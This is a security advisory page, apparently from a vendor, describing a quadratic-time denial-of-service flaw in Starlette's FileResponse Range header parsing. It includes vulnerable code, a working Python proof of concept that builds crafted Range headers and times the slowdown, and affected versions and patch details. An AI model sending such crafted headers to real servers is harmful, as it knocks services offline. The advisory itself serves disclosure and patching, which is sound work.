GHSA-7f5h-v6xp-fcq8 is a high-severity (CVSS 7.5) CWE-407 vulnerability in starlette. A fix is available for starlette — see the affected versions and patch details below.
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7f5h-v6xp-fcq8.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-7f5h-v6xp-fcq8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
starletteReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | starlette | ≥ 0.39.0&&< 0.49.1 | 0.49.1pip install --upgrade 'starlette==0.49.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for starlette, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update starlette to 0.49.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7f5h-v6xp-fcq8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-7f5h-v6xp-fcq8 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-7f5h-v6xp-fcq8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-cuda-rhel9:3.2.2-1765379088 | RHSA-2025:23078 |
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-rocm-rhel9:3.2.2-1765379049 | RHSA-2025:23079 |
| Red Hat AI Inference Server 3.2 | rhaiis/model-opt-cuda-rhel9:3.2.2-1764871796 | RHSA-2025:23080 |
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-cuda-rhel9:1772160593 | RHSA-2026:3461 |
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-rocm-rhel9:1772160625 | RHSA-2026:3462 |
| Red Hat Ansible Automation Platform 2.5 | ansible-automation-platform-25/lightspeed-chatbot-rhel8:2.5.251203 | RHSA-2025:23131 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/lightspeed-chatbot-rhel9:2.6 | RHSA-2025:23133 |
| Red Hat OpenShift AI 2.22 | rhoai/odh-feature-server-rhel9:v2.22.3-1763565765 | RHSA-2025:22759 |
Frequently Asked Questions
Is GHSA-7f5h-v6xp-fcq8 in your dependencies?
O3 Security finds GHSA-7f5h-v6xp-fcq8 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.